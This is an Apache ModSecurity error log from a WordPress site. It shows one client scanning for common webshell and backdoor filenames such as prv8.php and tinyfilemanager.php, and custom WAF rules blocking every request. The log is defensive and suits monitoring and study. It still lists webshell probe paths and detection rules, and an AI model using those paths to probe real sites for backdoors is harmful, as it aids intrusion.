[Sun Apr 19 06:31:14.740672 2026] [:error] [pid 47772:tid 47796] [client 20.215.64.52:53452] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeQGMoc0L16cb4smAz-37AAAAAc"]
[Sun Apr 19 06:31:18.361668 2026] [:error] [pid 47886:tid 47911] [client 20.215.64.52:13425] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeQGNkSe8yiyuPrD7yP7FAAAANc"]
[Sun Apr 19 06:31:20.685172 2026] [:error] [pid 47772:tid 47811] [client 20.215.64.52:63907] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeQGOIc0L16cb4smAz-38QAAABY"]
[Sun Apr 19 06:31:22.447468 2026] [:error] [pid 15760:tid 15792] [client 20.215.64.52:57757] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeQGOvSdD_XHQMJ_ISsgIQAAAdg"]
[Sun Apr 19 06:31:27.911567 2026] [:error] [pid 15764:tid 15845] [client 20.215.64.52:13432] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeQGP2LL_sqdSHoVp-T1NgAAAlM"]
[Sun Apr 19 06:31:29.327442 2026] [:error] [pid 47773:tid 47825] [client 20.215.64.52:21067] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeQGQeiBHdnCJDuPq9B0kAAAAEk"]
[Sun Apr 19 06:31:30.258482 2026] [:error] [pid 15763:tid 15808] [client 20.215.64.52:13422] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeQGQrMXv1Y1THOoxaArygAAAgw"]
[Sun Apr 19 06:31:31.204934 2026] [:error] [pid 15694:tid 15740] [client 20.215.64.52:13067] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeQGQ7imB-jol1fwqArA0QAAAY4"]
[Sun Apr 19 06:31:32.839027 2026] [:error] [pid 47773:tid 47836] [client 20.215.64.52:51611] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeQGROiBHdnCJDuPq9B0lwAAAFQ"]
[Sun Apr 19 06:31:34.496029 2026] [:error] [pid 47772:tid 47789] [client 20.215.64.52:23953] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeQGRoc0L16cb4smAz-4AgAAAAA"]
[Sun Apr 19 06:31:39.622410 2026] [:error] [pid 47772:tid 47808] [client 20.215.64.52:53496] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeQGS4c0L16cb4smAz-4DQAAABM"]
[Sun Apr 19 06:31:41.488571 2026] [:error] [pid 15765:tid 15862] [client 20.215.64.52:53463] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeQGTfRqinw-W5EwQ76PzgAAAok"]
[Sun Apr 19 06:31:42.953269 2026] [:error] [pid 15760:tid 15780] [client 20.215.64.52:23983] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeQGTvSdD_XHQMJ_ISsgQQAAAcw"]
[Sun Apr 19 06:31:44.123771 2026] [:error] [pid 15760:tid 15775] [client 20.215.64.52:13412] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeQGUPSdD_XHQMJ_ISsgRgAAAcc"]
[Sun Apr 19 06:31:45.497913 2026] [:error] [pid 47772:tid 47800] [client 20.215.64.52:54653] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeQGUYc0L16cb4smAz-4FAAAAAs"]
[Sun Apr 19 06:31:47.669139 2026] [:error] [pid 47772:tid 47801] [client 20.215.64.52:23958] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeQGU4c0L16cb4smAz-4GgAAAAw"]
[Sun Apr 19 06:31:49.596934 2026] [:error] [pid 15693:tid 15696] [client 20.215.64.52:21115] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeQGVcNMD-ccazQlTskahQAAAUA"]
[Sun Apr 19 06:31:54.309676 2026] [autoindex:error] [pid 47773:tid 47835] [client 20.215.64.52:21079] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 06:32:15.275271 2026] [:error] [pid 47773:tid 47833] [client 20.215.64.52:21079] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeQGb-iBHdnCJDuPq9B05QAAAFE"]
[Sun Apr 19 06:32:17.630582 2026] [:error] [pid 15694:tid 15724] [client 20.215.64.52:23995] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeQGcbimB-jol1fwqArA-AAAAYE"]
[Sun Apr 19 06:32:21.667287 2026] [:error] [pid 47773:tid 47838] [client 20.215.64.52:57774] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeQGdeiBHdnCJDuPq9B09wAAAFY"]
[Sun Apr 19 06:32:23.590439 2026] [:error] [pid 47886:tid 47900] [client 43.153.96.233:35352] [client 43.153.96.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeQGd0Se8yiyuPrD7yP7XQAAAMw"]
[Sun Apr 19 06:32:23.853372 2026] [:error] [pid 47775:tid 47847] [client 20.215.64.52:53443] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeQGd7mztjlk9tsmoeyCcQAAAIQ"]
[Sun Apr 19 06:32:26.792818 2026] [:error] [pid 47773:tid 47829] [client 20.215.64.52:23996] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeQGeuiBHdnCJDuPq9B1CQAAAE0"]
[Sun Apr 19 06:32:30.489545 2026] [:error] [pid 15693:tid 15700] [client 20.215.64.52:53471] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeQGfsNMD-ccazQlTskajwAAAUQ"]
[Sun Apr 19 06:32:34.689000 2026] [:error] [pid 47773:tid 47820] [client 20.215.64.52:57729] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeQGguiBHdnCJDuPq9B1DwAAAEQ"]
[Sun Apr 19 06:32:38.060699 2026] [:error] [pid 15693:tid 15713] [client 20.215.64.52:13392] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeQGhsNMD-ccazQlTskakQAAAVE"]
[Sun Apr 19 06:32:40.118306 2026] [:error] [pid 15694:tid 15725] [client 20.215.64.52:21061] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeQGiLimB-jol1fwqArBEgAAAYI"]
[Sun Apr 19 06:32:43.356494 2026] [:error] [pid 47772:tid 47812] [client 20.215.64.52:13408] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeQGi4c0L16cb4smAz-4YAAAABc"]
[Sun Apr 19 06:32:45.300005 2026] [:error] [pid 47773:tid 47837] [client 20.215.64.52:13089] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeQGjeiBHdnCJDuPq9B1GwAAAFU"]
[Sun Apr 19 06:32:46.938458 2026] [:error] [pid 15764:tid 15844] [client 20.215.64.52:13434] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeQGjmLL_sqdSHoVp-T1WAAAAlI"]
[Sun Apr 19 06:32:49.301809 2026] [:error] [pid 47886:tid 47900] [client 20.215.64.52:13381] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeQGkUSe8yiyuPrD7yP7fQAAAMw"]
[Sun Apr 19 06:32:50.858566 2026] [:error] [pid 47772:tid 47790] [client 20.215.64.52:13095] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeQGkoc0L16cb4smAz-4cQAAAAE"]
[Sun Apr 19 06:32:53.846664 2026] [:error] [pid 15765:tid 15858] [client 20.215.64.52:13108] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeQGlfRqinw-W5EwQ76QAgAAAoU"]
[Sun Apr 19 06:32:57.901281 2026] [:error] [pid 47772:tid 47792] [client 20.215.64.52:54636] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeQGmYc0L16cb4smAz-4egAAAAM"]
[Sun Apr 19 06:32:59.637399 2026] [:error] [pid 47773:tid 47819] [client 20.215.64.52:13064] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeQGm-iBHdnCJDuPq9B1UAAAAEM"]
[Sun Apr 19 06:33:04.530665 2026] [:error] [pid 15694:tid 15743] [client 20.215.64.52:21081] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeQGoLimB-jol1fwqArBIgAAAZE"]
[Sun Apr 19 06:33:06.142664 2026] [:error] [pid 47773:tid 47829] [client 20.215.64.52:13066] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeQGouiBHdnCJDuPq9B1XQAAAE0"]
[Sun Apr 19 06:33:08.276542 2026] [:error] [pid 47773:tid 47818] [client 20.215.64.52:65188] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeQGpOiBHdnCJDuPq9B1YgAAAEI"]
[Sun Apr 19 06:33:10.852510 2026] [:error] [pid 15694:tid 15746] [client 20.215.64.52:23971] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeQGprimB-jol1fwqArBJwAAAZQ"]
[Sun Apr 19 06:33:14.288919 2026] [autoindex:error] [pid 15763:tid 15807] [client 20.215.64.52:65162] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 06:33:33.469165 2026] [:error] [pid 15763:tid 15817] [client 20.215.64.52:65162] [client 20.215.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeQGvbMXv1Y1THOoxaAsbQAAAhU"]
[Sun Apr 19 06:33:40.926722 2026] [:error] [pid 47772:tid 47791] [client 20.215.64.52:60753] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeQGxIc0L16cb4smAz-4mwAAAAI"]
[Sun Apr 19 06:33:43.257124 2026] [:error] [pid 15765:tid 15862] [client 20.215.64.52:20670] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeQGx_Rqinw-W5EwQ76QggAAAok"]
[Sun Apr 19 06:33:44.760279 2026] [:error] [pid 47772:tid 47812] [client 20.215.64.52:60752] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeQGyIc0L16cb4smAz-4twAAABc"]
[Sun Apr 19 06:33:47.726028 2026] [:error] [pid 15763:tid 15800] [client 20.215.64.52:53947] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeQGy7MXv1Y1THOoxaAsfwAAAgQ"]
[Sun Apr 19 06:33:57.059847 2026] [:error] [pid 47773:tid 47828] [client 20.215.64.52:20675] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeQG1eiBHdnCJDuPq9B13wAAAEw"]
[Sun Apr 19 06:33:58.620605 2026] [:error] [pid 47773:tid 47825] [client 20.215.64.52:20709] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeQG1uiBHdnCJDuPq9B14wAAAEk"]
[Sun Apr 19 06:33:59.885020 2026] [:error] [pid 47772:tid 47807] [client 20.215.64.52:20853] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeQG14c0L16cb4smAz-4_wAAABI"]
[Sun Apr 19 06:34:02.812803 2026] [:error] [pid 47773:tid 47820] [client 20.215.64.52:20681] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeQG2uiBHdnCJDuPq9B18QAAAEQ"]
[Sun Apr 19 06:34:06.673898 2026] [:error] [pid 47775:tid 47843] [client 20.215.64.52:13787] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeQG3rmztjlk9tsmoeyDNgAAAIA"]
[Sun Apr 19 06:34:08.883838 2026] [:error] [pid 47773:tid 47829] [client 20.215.64.52:62712] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeQG4OiBHdnCJDuPq9B2BQAAAE0"]
[Sun Apr 19 06:34:10.870422 2026] [:error] [pid 15763:tid 15803] [client 20.215.64.52:59008] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeQG4rMXv1Y1THOoxaAsiwAAAgc"]
[Sun Apr 19 06:34:17.132193 2026] [:error] [pid 47772:tid 47803] [client 20.215.64.52:20852] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeQG6Yc0L16cb4smAz-5EwAAAA4"]
[Sun Apr 19 06:34:21.089725 2026] [:error] [pid 47773:tid 47824] [client 20.215.64.52:20696] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeQG7eiBHdnCJDuPq9B2DQAAAEg"]
